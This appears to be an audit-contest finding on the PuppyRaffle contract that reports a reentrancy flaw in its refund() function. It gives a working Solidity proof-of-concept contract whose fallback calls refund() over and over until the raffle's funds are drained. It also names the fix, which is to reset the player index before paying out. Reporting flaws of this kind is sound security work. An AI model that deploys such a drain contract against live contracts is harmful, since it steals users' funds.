Before the contract calls the "select winner" function,a bad actor can enter the "refund" function and drain the wallet.
POC
create another contract with the code below. enter the raffle with the contract address and then call refund.
'''
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./PuppyRaffle.sol";
contract reentrant {
PuppyRaffle public puppyRaffle;
uint public playerIndex;
constructor(address _puppyRaffleAddy) {
puppyRaffle = PuppyRaffle(_puppyRaffleAddy);
}
fallback() external payable {
if(address(puppyRaffle).balance >=1e18) {
puppyRaffle.refund(playerIndex);
}
}
function attackRefund(uint _playerIndex) public{
playerIndex = _playerIndex;
puppyRaffle.refund(playerIndex);
}
function getBalance() public view returns (uint){
return address(this).balance;
}
}
'''
contract will lose all funds
remixIde
set playerIndex in refund() to 0 before sending out fund
reentrancy in refund() function
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.